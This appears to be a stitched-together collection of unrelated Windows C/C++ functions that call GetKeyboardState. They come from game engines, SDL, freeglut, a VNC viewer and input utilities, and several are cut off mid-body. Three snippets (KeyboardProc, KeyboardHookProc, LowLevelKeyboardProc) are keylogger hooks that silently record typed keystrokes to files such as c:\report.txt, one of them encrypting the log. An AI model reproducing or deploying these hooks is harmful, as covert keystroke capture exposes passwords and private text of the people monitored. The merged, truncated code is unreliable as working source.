//================================================================================ void ATHInputManager::SendKeyboardEvent() { ATHKeyList m_liKeysDown = CheckKeys(); ATHKeyList::iterator itrCurr = m_liKeysDown.begin(); ATHKeyList::iterator itrEnd = m_liKeysDown.end(); ATHEvent keyEvent( AET_KEYBOARD ); unsigned int unKeyDownIndex = 0; unsigned int unKeyUpIndex = 0; while( itrCurr != itrEnd ) { unsigned int szDIKKey = (*itrCurr); if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8) { BYTE chAsciiKeys[ATH_NUM_KEYS] = {}; if (GetKeyboardState(chAsciiKeys)) { unsigned short szAsciiKey = 0; // Why do I have to do both opposite conversions???? int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL); if (nCharCount > 0) { keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey; unKeyDownIndex++; } } } itrCurr++; } if( unKeyDownIndex > 0|| unKeyUpIndex > 0 ) { keyEvent.m_EventID = AEI_KEYDOWN; m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE ); } }
WCHAR CTextService::_GetCh(BYTE vk, BYTE vkoff) { BYTE keystate[256]; WCHAR ubuff; WCHAR u = L'\0'; GetKeyboardState(keystate); switch(inputmode) { case im_hiragana: case im_katakana: case im_katakana_ank: keystate[VK_CAPITAL] = 0; if(abbrevmode || purgedicmode) { keystate[VK_KANA] = 0; } if(vkoff != 0) { keystate[vkoff] = 0; } break; case im_jlatin: case im_ascii: keystate[VK_KANA] = 0; break; default: break; } int retu = ToUnicode(vk, 0, keystate, &ubuff, 1, 0); if(retu == 1) { u = ubuff; } return u; }
////////////////////////////////////////////////////////////////////////// // mapKeyEvent void OsClientWindows::mapKeyEvent( OsEventInputKeyboard& Event, WPARAM wParam ) { Event.KeyCode_ = static_cast< BcU16 >( wParam ) & 0xff; Event.ScanCode_ = ::MapVirtualKey( Event.KeyCode_, 0 ); WORD AsciiOut = 0; BYTE KeyState[ 256 ]; GetKeyboardState( KeyState ); if( ::ToAscii( Event.KeyCode_, Event.ScanCode_, KeyState, &AsciiOut, 0 ) > 0 ) { Event.AsciiCode_ = static_cast< BcU16 >( AsciiOut ); } else { Event.AsciiCode_ = 0; } // Get key code, or pass through virtual. TKeyCodeMapIterator It( KeyCodeMap_.find( Event.KeyCode_ ) ); if( It != KeyCodeMap_.end() ) { Event.KeyCode_ = (*It).second; } }
static SDL_keysym *TranslateKey(UINT vkey, UINT scancode, SDL_keysym *keysym, int pressed) { /* Set the keysym information */ keysym->scancode = (unsigned char) scancode; keysym->sym = VK_keymap[vkey]; keysym->mod = KMOD_NONE; keysym->unicode = 0; if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */ #ifdef NO_GETKEYBOARDSTATE /* Uh oh, better hope the vkey is close enough.. */ keysym->unicode = vkey; #else BYTE keystate[256]; BYTE chars[2]; GetKeyboardState(keystate); if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) { keysym->unicode = chars[0]; } #endif /* NO_GETKEYBOARDSTATE */ } return(keysym); }
static PyObject* toggle_numlock(PyObject* self, PyObject* args) { int is_on = 0; int turn_on = 0; BYTE keys[256] = {0}; if(!PyArg_ParseTuple(args, "i", &turn_on)) return NULL; GetKeyboardState((LPBYTE)&keys); is_on = keys[VK_NUMLOCK] & 0x1; if(is_on != turn_on) { keybd_event(VK_NUMLOCK, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VK_NUMLOCK, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); } return Py_BuildValue("i", is_on); }
void CKeySend::SetCapsLock(const bool bState) { BYTE keyState[256]; GetKeyboardState((LPBYTE)&keyState); if ((bState && !(keyState[VK_CAPITAL] & 0x01)) || (!bState && (keyState[VK_CAPITAL] & 0x01))) { if (m_impl->m_isOldOS) { // Simulate a key press keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0); // Simulate a key release keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); } else { newSendVK(VK_CAPITAL); // Send CapLock keydown/keyup via SendInput } } MSG msg; while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE)) { // so there is a message process it. #ifndef __WX__ if (!AfxGetThread()->PumpMessage()) break; #else // Not sure this is correct! if (msg.message == WM_QUIT) { // Put it back on the queue and leave now ::PostQuitMessage(0); return; } ::TranslateMessage(&msg); ::DispatchMessage(&msg); #endif } }
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam) { char ch; if (((DWORD)lParam & 0x40000000) && (HC_ACTION==nCode)) { if ((wParam == VK_SPACE)|| (wParam == VK_RETURN)|| (wParam >= 0x2f) && (wParam <= 0x100)) { FILE *file =fopen("c:\\report.txt","a+"); if (wParam==VK_RETURN) { ch='\n'; fwrite(&ch,1,1,file); } else{ BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w); fwrite(&ch,1,1,file); } fclose(file); } } LRESULT RetVal = CallNextHookEx( hHook, nCode, wParam, lParam); return RetVal; }
//##ModelId=474D302503BA void CSendKeys::SendKeyDown(BYTE VKey, WORD NumTimes, bool GenUpMsg, bool bDelay) { WORD Cnt = 0; BYTE ScanCode = 0; bool NumState = false; if (VKey == VK_NUMLOCK) { DWORD dwVersion = ::GetVersion(); for (Cnt=1; Cnt<=NumTimes; Cnt++) { if (bDelay) CarryDelay(); // snippet based on: // http://www.codeproject.com/cpp/togglekeys.asp if (dwVersion < 0x80000000) { ::keybd_event(VKey, 0x45, KEYEVENTF_EXTENDEDKEY, 0); ::keybd_event(VKey, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); } else { // Win98 and later if ( ((DWORD)(HIBYTE(LOWORD(dwVersion))) >= 10) ) { // Define _WIN32_WINNT > 0x0400 // to compile INPUT input[2] = {0}; input[0].type = input[1].type = INPUT_KEYBOARD; input[0].ki.wVk = input[1].ki.wVk = VKey; input[1].ki.dwFlags = KEYEVENTF_KEYUP; ::SendInput(sizeof(input) / sizeof(INPUT), input, sizeof(INPUT)); } // Win95 else { KEYBOARDSTATE_t KeyboardState; NumState = GetKeyState(VK_NUMLOCK) & 1 ? true : false; GetKeyboardState(&KeyboardState[0]); if (NumState) KeyboardState[VK_NUMLOCK] &= ~1; else KeyboardState[VK_NUMLOCK] |= 1; SetKeyboardState(&KeyboardState[0]); } } } return; } // Get scancode ScanCode = LOBYTE(::MapVirtualKey(VKey, 0)); // Send keys for (Cnt=1; Cnt<=NumTimes; Cnt++) { // Carry needed delay ? if (bDelay) CarryDelay(); KeyboardEvent(VKey, ScanCode, IsVkExtended(VKey) ? KEYEVENTF_EXTENDEDKEY : 0); if (GenUpMsg) KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP); } }
KeyActionSpec KeyMap::PCtoX(UINT virtkey, DWORD keyData) { UINT numkeys = 0; KeyActionSpec kas; kas.releaseModifiers = 0; bool extended = ((keyData & 0x1000000) != 0); vnclog.Print(8, "VK %.2x (%.8x)", virtkey, keyData); if (extended) { vnclog.Print(8, " [ext]"); switch (virtkey) { case VK_MENU : virtkey = VK_RMENU; break; case VK_CONTROL: virtkey = VK_RCONTROL; break; case VK_RETURN: virtkey = VK_KEYPAD_ENTER; break; } } else { switch (virtkey) { case VK_HOME: virtkey = VK_KEYPAD_HOME; break; case VK_LEFT: virtkey = VK_KEYPAD_LEFT; break; case VK_UP: virtkey = VK_KEYPAD_UP; break; case VK_RIGHT: virtkey = VK_KEYPAD_RIGHT; break; case VK_DOWN: virtkey = VK_KEYPAD_DOWN; break; case VK_PRIOR: virtkey = VK_KEYPAD_PRIOR; break; case VK_NEXT: virtkey = VK_KEYPAD_NEXT; break; case VK_END: virtkey = VK_KEYPAD_END; break; case VK_CLEAR: virtkey = VK_KEYPAD_BEGIN; break; case VK_INSERT: virtkey = VK_KEYPAD_INSERT; break; case VK_DELETE: virtkey = VK_KEYPAD_DELETE; break; } } // Try looking it up in our table UINT mapsize = sizeof(keymap) / sizeof(vncKeymapping); // Look up the desired code in the table for (UINT i = 0; i < mapsize; i++) { if (keymap[i].wincode == virtkey) { kas.keycodes[numkeys++] = keymap[i].Xcode; break; } } if (numkeys != 0) { // A special case - use Meta instead of Alt if ScrollLock is on UINT key = kas.keycodes[numkeys - 1]; if ((key == XK_Alt_L || key == XK_Alt_R) && GetKeyState(VK_SCROLL)) { if (key == XK_Alt_L) kas.keycodes[numkeys - 1] = XK_Meta_L; else kas.keycodes[numkeys - 1] = XK_Meta_R; } vnclog.Print(8, ": keymap gives %.4x", key); } else { // not found in table vnclog.Print(8, ": not in keymap"); // Try a simple conversion to ASCII, using the current keyboard mapping GetKeyboardState(keystate); // If Left Ctrl & Alt are both pressed and ToAscii() gives a valid keysym. // (This is for AltGr on international keyboards (= LCtrl-Alt). // e.g. Ctrl-Alt-Q gives @ on German keyboards.) if (((keystate[VK_RMENU] & 0x80) != 0) && ((keystate[VK_LCONTROL] & 0x80) != 0)) { // Windows doesn't have a proper AltGr key event. It instead handles // AltGr with fake left Ctrl and right Alt key events. Xvnc will // automatically insert an AltGr (ISO Level 3 Shift) event if necessary // (if it receives a key symbol that could not have been generated any // other way), and unfortunately X11 doesn't generally like the sequence // Ctrl + Alt + AltGr. Thus, for Windows viewers, we have to temporarily // release Ctrl and Alt, then process the AltGr-modified symbol, then // press Ctrl and Alt again. if (GetKeyState(VK_LCONTROL) & 0x8000) kas.releaseModifiers |= KEYMAP_LCONTROL; if (GetKeyState(VK_RMENU) & 0x8000) kas.releaseModifiers |= KEYMAP_RALT; // This is for Windows '95, and possibly other systems. The above // GetKeyState() calls don't work in '95 - they always return 0. // But if we're at this point in the code, we know that left Ctrl and // right Alt are pressed, so let's release those keys if we haven't // registered them as already having been released. if (kas.releaseModifiers == 0) kas.releaseModifiers = KEYMAP_LCONTROL | KEYMAP_RALT; } else { // There are no keysyms corresponding to control characters, e.g. Ctrl-F. // The server already knows whether the Ctrl key is pressed, so we are // interested in the key that would be sent if the Ctrl key were not // pressed. keystate[VK_CONTROL] = keystate[VK_LCONTROL] = keystate[VK_RCONTROL] = 0; } int ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0); if (ret == 0) { // Most Ctrl+Alt combinations will fail to produce a symbol, so // try it again with Ctrl unconditionally disabled. keystate[VK_CONTROL] = keystate[VK_LCONTROL] = keystate[VK_RCONTROL] = 0; ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0); } unsigned keysym = ucs2keysym(buf[0]); if (ret == 1 && keysym != 0) { // If the key means anything in this keyboard layout if (((keystate[VK_RMENU] & 0x80) != 0) && ((keystate[VK_LCONTROL] & 0x80) != 0)) vnclog.Print(8, "\n Ctrl-Alt: UCS->KS (w/o mods): "); else vnclog.Print(8, "\n UCS->KS (w/o ctrl): "); kas.keycodes[numkeys++] = keysym; vnclog.Print(8, " %.2x->%.2x", buf[0], keysym); } if (ret < 0 || ret > 1) { // NOTE: For some reason, TigerVNC never gets a return value > 1 from // ToUnicode(), but we do, even though we're using basically the same // keyboard handling logic. Not sure why. WCHAR dead_char = buf[0]; while (ret < 0) { // Need to clear out the state that the dead key has caused. // This is the recommended method by Microsoft's engineers: // http://blogs.msdn.com/b/michkap/archive/2007/10/27/5717859.aspx ret = ToUnicode(virtkey, 0, keystate, buf, 10, 0); } kas.keycodes[numkeys++] = ucs2keysym(ucs2combining(dead_char)); vnclog.Print(8, " %.2x->%.2x", dead_char, kas.keycodes[numkeys - 1]); } } vnclog.Print(8, "\n"); kas.keycodes[numkeys] = VoidKeyCode; return kas; };
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam) { if(!(lParam >> 31) && (code >= 0)) { char keyw[20]; FILE *LogFile = GetLogFile(); if(LogFile != NULL) { BEEP switch(wParam) { case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break; case VK_BACK: strcpy(keyw,"[BACK]"); break; case VK_TAB: strcpy(keyw,"[TAB]"); break; case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break; case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break; case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break; case VK_CONTROL: strcpy(keyw,"[CTRL]"); break; case VK_MENU: strcpy(keyw,"[ALT]"); break; case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break; case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break; case VK_ESCAPE: strcpy(keyw,"[ESC]"); break; case VK_PRIOR: strcpy(keyw,"[PageUp]"); break; case VK_NEXT: strcpy(keyw,"[PageDown]"); break; case VK_END: strcpy(keyw,"[END]"); break; case VK_HOME: strcpy(keyw,"[HOME]"); break; case VK_LEFT: strcpy(keyw,"[LEFT]"); break; case VK_UP: strcpy(keyw,"[UP]"); break; case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break; case VK_DOWN: strcpy(keyw,"[DOWN]"); break; case VK_SELECT: strcpy(keyw,"[SELECT]"); break; case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break; case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break; case VK_INSERT: strcpy(keyw,"[INSERT]"); break; case VK_DELETE: strcpy(keyw,"[DELETE]"); break; case VK_HELP: strcpy(keyw,"[HELP]"); break; case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break; case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break; case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break; case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break; case VK_ADD: strcpy(keyw,"[ADD]"); break; case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break; case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break; case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break; case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break; case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break; case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break; case VK_ATTN: strcpy(keyw,"[ATTN]"); break; case VK_CRSEL: strcpy(keyw,"[CrSel]"); break; case VK_EXSEL: strcpy(keyw,"[ExSel]"); break; case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break; case VK_PLAY: strcpy(keyw,"[PLAY]"); break; case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break; default: { if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100)) { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); *keyw = char(w); keyw[1] = '\0'; } else { sprintf(keyw,"[(%d)%c]",wParam,wParam); break; } } } // Store Information SimpleEncrypt(keyw,strlen(keyw),Password); fwrite(keyw,1,strlen(keyw),LogFile); fclose(LogFile); } }
/* Функция построения кадра анимации. * АРГУМЕНТЫ: Нет. * ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет. */ VOID OK2_AnimRender( VOID ) { INT i; LARGE_INTEGER li; POINT pt; /* Обновление ввода */ GetKeyboardState(OK2_Anim.Keys); for (i = 0; i < 256; i++) OK2_Anim.KeyClick[i] = OK2_Anim.Keys[i] && !OK2_Anim.KeysOld[i]; memcpy(OK2_Anim.KeysOld, OK2_Anim.Keys, sizeof(OK2_Anim.Keys)); /* Обновление таймера */ OK2_Anim.Time = (DBL)clock() / CLOCKS_PER_SEC; /* Обновление кадра */ QueryPerformanceCounter(&li); /* глобальное время */ OK2_Anim.GlobalTime = (DBL)(li.QuadPart - TimeStart) / TimeFreq; OK2_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - TimeOld) / TimeFreq; /* локальное время */ if (OK2_Anim.IsPause) { TimePause += li.QuadPart - TimeOld; OK2_Anim.DeltaTime = 0; } else OK2_Anim.DeltaTime = OK2_Anim.GlobalDeltaTime; OK2_Anim.Time = (DBL)(li.QuadPart - TimeStart - TimePause) / TimeFreq; /* вычисляем FPS */ if (li.QuadPart - TimeFPS > TimeFreq) { OK2_Anim.FPS = FrameCounter / ((DBL)(li.QuadPart - TimeFPS) / TimeFreq); TimeFPS = li.QuadPart; FrameCounter = 0; } /* время "прошлого" кадра */ TimeOld = li.QuadPart; /* очистка фона */ SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH)); SelectObject(OK2_Anim.hDC, GetStockObject(NULL_PEN)); SetDCBrushColor(OK2_Anim.hDC, RGB(0, 110, 0)); Rectangle(OK2_Anim.hDC, 0, 0, OK2_Anim.W, OK2_Anim.H); /* опрос на изменение состояний объектов */ for (i = 0; i < OK2_Anim.NumOfUnits; i++) OK2_Anim.Units[i]->Response(OK2_Anim.Units[i], &OK2_Anim); /* рисование объектов */ for (i = 0; i < OK2_Anim.NumOfUnits; i++) { SelectObject(OK2_Anim.hDC, GetStockObject(DC_BRUSH)); SelectObject(OK2_Anim.hDC, GetStockObject(DC_PEN)); SetDCBrushColor(OK2_Anim.hDC, RGB(0, 0, 0)); SetDCPenColor(OK2_Anim.hDC, RGB(55, 155, 255)); OK2_Anim.Units[i]->Render(OK2_Anim.Units[i], &OK2_Anim); } /* Мышь */ /* колесо */ OK2_Anim.MsWheel = OK2_MouseGlobalWheel; OK2_MouseGlobalWheel = 0; /* абсолютная позиция */ pt.x = OK2_MouseGlobalX; pt.y = OK2_MouseGlobalY; ScreenToClient(OK2_Anim.hWnd, &pt); OK2_Anim.MsX = pt.x; OK2_Anim.MsY = pt.y; /* относительное перемещение */ OK2_Anim.MsDeltaX = OK2_MouseGlobalX - OK2_MouseXOld; OK2_Anim.MsDeltaY = OK2_MouseGlobalY - OK2_MouseYOld; OK2_MouseXOld = OK2_MouseGlobalX; OK2_MouseYOld = OK2_MouseGlobalY; /* Джойстик */ if ((i = joyGetNumDevs()) > 0) { JOYCAPS jc; /* получение общей информации о джостике */ if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR) { JOYINFOEX ji; /* получение текущего состояния */ ji.dwSize = sizeof(JOYCAPS); ji.dwFlags = JOY_RETURNALL; if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR) { /* Кнопки */ memcpy(OK2_Anim.JButsOld, OK2_Anim.JButs, sizeof(OK2_Anim.JButs)); for (i = 0; i < 32; i++) OK2_Anim.JButs[i] = (ji.dwButtons >> i) & 1; for (i = 0; i < 32; i++) OK2_Anim.JButsClick[i] = OK2_Anim.JButs[i] && !OK2_Anim.JButsOld[i]; /* Оси */ OK2_Anim.JX = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin - 1) - 1; OK2_Anim.JY = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin - 1) - 1; if (jc.wCaps & JOYCAPS_HASZ) OK2_Anim.JZ = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin - 1) - 1; if (jc.wCaps & JOYCAPS_HASR) OK2_Anim.JR = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin - 1) - 1; if (jc.wCaps & JOYCAPS_HASU) OK2_Anim.JU = 2.0 * (ji.dwUpos - jc.wUmin) / (jc.wUmax - jc.wUmin - 1) - 1; /* Point-Of-View */ if (jc.wCaps & JOYCAPS_HASPOV) { if (ji.dwPOV == 0xFFFF) OK2_Anim.JPOV = 0; else OK2_Anim.JPOV = ji.dwPOV / 4500 + 1; } }
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { LRESULT result = CallNextHookEx(hKeyHookEn, nCode, wParam, lParam); if (nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam; // 防止消息重复产生记录重复,以pMsg->time判断 if (m_dwLastMsgTime == pKeyboardHookStruct->time) { return result; } m_dwLastMsgTime = pKeyboardHookStruct->time; if ((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN)) { BYTE KeyboardState[256]; ZeroMemory(KeyboardState, sizeof(KeyboardState)); GetKeyboardState(KeyboardState); KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)); KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL); WORD wChar; int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0); if (iNumChar>0&&(BYTE)wChar<=127&&(BYTE)wChar>=32) { //_asm int 3 CHAR szDebug[2]={0}; wsprintf(szDebug, "%c", wChar); if (szDebug[0] == VK_RETURN) { SaveInfo("\r\n"); } else { SaveInfo(szDebug); } // OutputDebugStringA(szDebug); } else // if (iNumChar <= 0) { CHAR KeyText[20]; ZeroMemory(KeyText, sizeof(KeyText)); LONG Flags = 0; Flags = pKeyboardHookStruct->scanCode << 16; Flags |= pKeyboardHookStruct->flags << 24; if (GetKeyNameText(Flags, &KeyText[1], 20) > 0) { KeyText[0] = '['; lstrcat(KeyText, "]"); // OutputDebugStringA(KeyText); SaveInfo(KeyText); } } } } return result; }
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { #ifndef WM_MOUSEWHEEL #define WM_MOUSEWHEEL 0x020A #endif #ifndef WHEEL_DELTA #define WHEEL_DELTA 120 #endif switch (message) { case WM_ERASEBKGND: return 0; case WM_KEYUP: { InputSystem::Instance()->GetKeyboard()->OnSystemKeyUnpressed((int32)wParam); }; break; case WM_KEYDOWN: { BYTE allKeys[256]; GetKeyboardState(allKeys); if ((allKeys[VK_MENU] & 0x80) && (allKeys[VK_TAB] & 0x80)) { ShowWindow(hWnd, SW_MINIMIZE); } Vector<DAVA::UIEvent> touches; Vector<DAVA::UIEvent> emptyTouches; for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++) { touches.push_back(*it); } DAVA::UIEvent ev; ev.keyChar = 0; ev.phase = DAVA::UIEvent::PHASE_KEYCHAR; ev.tapCount = 1; ev.tid = InputSystem::Instance()->GetKeyboard()->GetDavaKeyForSystemKey((int32)wParam); touches.push_back(ev); UIControlSystem::Instance()->OnInput(0, emptyTouches, touches); touches.pop_back(); UIControlSystem::Instance()->OnInput(0, emptyTouches, touches); InputSystem::Instance()->GetKeyboard()->OnSystemKeyPressed((int32)wParam); }; break; case WM_CHAR: { if(wParam > 27) //TODO: remove this elegant check { Vector<DAVA::UIEvent> touches; Vector<DAVA::UIEvent> emptyTouches; for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++) { touches.push_back(*it); } DAVA::UIEvent ev; ev.keyChar = (char16)wParam; ev.phase = DAVA::UIEvent::PHASE_KEYCHAR; ev.tapCount = 1; ev.tid = 0; touches.push_back(ev); UIControlSystem::Instance()->OnInput(0, emptyTouches, touches); touches.pop_back(); UIControlSystem::Instance()->OnInput(0, emptyTouches, touches); } } break; case WM_INPUT: { UINT dwSize; GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)); LPBYTE lpb = new BYTE[dwSize]; if (lpb == NULL) return 0; if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize ) OutputDebugString (TEXT("GetRawInputData does not return correct size !\n")); RAWINPUT* raw = (RAWINPUT*)lpb; if(raw->header.dwType == RIM_TYPEMOUSE && raw->data.mouse.usFlags == 0) { LONG x = raw->data.mouse.lLastX; LONG y = raw->data.mouse.lLastY; bool isMove = x || y; if(InputSystem::Instance()->IsCursorPining()) { RECT wndRect; GetWindowRect(hWnd, &wndRect); int centerX = (int)((wndRect.left + wndRect.right) >> 1); int centerY = (int)((wndRect.bottom + wndRect.top) >> 1); SetCursorPos(centerX, centerY); } else { POINT p; GetCursorPos(&p); ScreenToClient(hWnd, &p); x += p.x; y += p.y; } RECT clientRect; GetClientRect(hWnd, &clientRect); bool isInside = (x > clientRect.left && x < clientRect.right && y > clientRect.top && y < clientRect.bottom) || InputSystem::Instance()->IsCursorPining(); OnMouseEvent(raw->data.mouse.usButtonFlags, MAKEWPARAM(isMove, isInside), MAKELPARAM(x, y), raw->data.mouse.usButtonData); // only move, drag and wheel events }
static LRESULT fghWindowProcKeyPress(SFG_Window *window, UINT uMsg, GLboolean keydown, WPARAM wParam, LPARAM lParam) { static unsigned char lControl = 0, lShift = 0, lAlt = 0, rControl = 0, rShift = 0, rAlt = 0; int keypress = -1; /* if keydown, check for repeat */ /* If repeat is globally switched off, it cannot be switched back on per window. * But if it is globally switched on, it can be switched off per window. This matches * GLUT's behavior on X11, but not Nate Robbins' win32 GLUT, as he didn't implement the * global state switch. */ if( keydown && ( fgState.KeyRepeat==GLUT_KEY_REPEAT_OFF || window->State.IgnoreKeyRepeat==GL_TRUE ) && (HIWORD(lParam) & KF_REPEAT) ) return 1; /* Remember the current modifiers state so user can query it from their callback */ fgState.Modifiers = fgPlatformGetModifiers( ); /* Convert the Win32 keystroke codes to GLUTtish way */ # define KEY(a,b) case a: keypress = b; break; switch( wParam ) { KEY( VK_F1, GLUT_KEY_F1 ); KEY( VK_F2, GLUT_KEY_F2 ); KEY( VK_F3, GLUT_KEY_F3 ); KEY( VK_F4, GLUT_KEY_F4 ); KEY( VK_F5, GLUT_KEY_F5 ); KEY( VK_F6, GLUT_KEY_F6 ); KEY( VK_F7, GLUT_KEY_F7 ); KEY( VK_F8, GLUT_KEY_F8 ); KEY( VK_F9, GLUT_KEY_F9 ); KEY( VK_F10, GLUT_KEY_F10 ); KEY( VK_F11, GLUT_KEY_F11 ); KEY( VK_F12, GLUT_KEY_F12 ); KEY( VK_PRIOR, GLUT_KEY_PAGE_UP ); KEY( VK_NEXT, GLUT_KEY_PAGE_DOWN ); KEY( VK_HOME, GLUT_KEY_HOME ); KEY( VK_END, GLUT_KEY_END ); KEY( VK_LEFT, GLUT_KEY_LEFT ); KEY( VK_UP, GLUT_KEY_UP ); KEY( VK_RIGHT, GLUT_KEY_RIGHT ); KEY( VK_DOWN, GLUT_KEY_DOWN ); KEY( VK_INSERT, GLUT_KEY_INSERT ); /* handle control, alt and shift. For GLUT, we want to distinguish between left and right presses. * The VK_L* & VK_R* left and right Alt, Ctrl and Shift virtual keys are however only used as parameters to GetAsyncKeyState() and GetKeyState() * so when we get an alt, shift or control keypress here, we manually check whether it was the left or the right */ #define ASYNC_KEY_EVENT(winKey,glutKey,keyStateVar)\ if (!keyStateVar && GetAsyncKeyState ( winKey ))\ {\ keypress = glutKey;\ keyStateVar = 1;\ }\ else if (keyStateVar && !GetAsyncKeyState ( winKey ))\ {\ keypress = glutKey;\ keyStateVar = 0;\ } case VK_CONTROL: ASYNC_KEY_EVENT(VK_LCONTROL,GLUT_KEY_CTRL_L,lControl); ASYNC_KEY_EVENT(VK_RCONTROL,GLUT_KEY_CTRL_R,rControl); break; case VK_SHIFT: ASYNC_KEY_EVENT(VK_LSHIFT,GLUT_KEY_SHIFT_L,lShift); ASYNC_KEY_EVENT(VK_RSHIFT,GLUT_KEY_SHIFT_R,rShift); break; case VK_MENU: ASYNC_KEY_EVENT(VK_LMENU,GLUT_KEY_ALT_L,lAlt); ASYNC_KEY_EVENT(VK_RMENU,GLUT_KEY_ALT_R,rAlt); break; #undef ASYNC_KEY_EVENT case VK_DELETE: /* The delete key should be treated as an ASCII keypress: */ if (keydown) INVOKE_WCB( *window, Keyboard, ( 127, window->State.MouseX, window->State.MouseY ) ); else INVOKE_WCB( *window, KeyboardUp, ( 127, window->State.MouseX, window->State.MouseY ) ); break; #if !defined(_WIN32_WCE) default: /* keydown displayable characters are handled with WM_CHAR message, but no corresponding up is generated. So get that here. */ if (!keydown) { BYTE state[ 256 ]; WORD code[ 2 ]; GetKeyboardState( state ); if( ToAscii( (UINT)wParam, 0, state, code, 0 ) == 1 ) wParam=code[ 0 ]; INVOKE_WCB( *window, KeyboardUp, ( (char)wParam, window->State.MouseX, window->State.MouseY ) ); } #endif } #if defined(_WIN32_WCE) if(keydown && !(lParam & 0x40000000)) /* Prevent auto-repeat */ { if(wParam==(unsigned)gxKeyList.vkRight) keypress = GLUT_KEY_RIGHT; else if(wParam==(unsigned)gxKeyList.vkLeft) keypress = GLUT_KEY_LEFT; else if(wParam==(unsigned)gxKeyList.vkUp) keypress = GLUT_KEY_UP; else if(wParam==(unsigned)gxKeyList.vkDown) keypress = GLUT_KEY_DOWN; else if(wParam==(unsigned)gxKeyList.vkA) keypress = GLUT_KEY_F1; else if(wParam==(unsigned)gxKeyList.vkB) keypress = GLUT_KEY_F2; else if(wParam==(unsigned)gxKeyList.vkC) keypress = GLUT_KEY_F3; else if(wParam==(unsigned)gxKeyList.vkStart) keypress = GLUT_KEY_F4; } #endif if( keypress != -1 ) if (keydown) INVOKE_WCB( *window, Special, ( keypress, window->State.MouseX, window->State.MouseY ) ); else INVOKE_WCB( *window, SpecialUp, ( keypress, window->State.MouseX, window->State.MouseY ) ); fgState.Modifiers = INVALID_MODIFIERS; /* SYSKEY events should be sent to default window proc for system to handle them */ if (uMsg==WM_SYSKEYDOWN || uMsg==WM_SYSKEYUP) return DefWindowProc( window->Window.Handle, uMsg, wParam, lParam ); else return 1; }
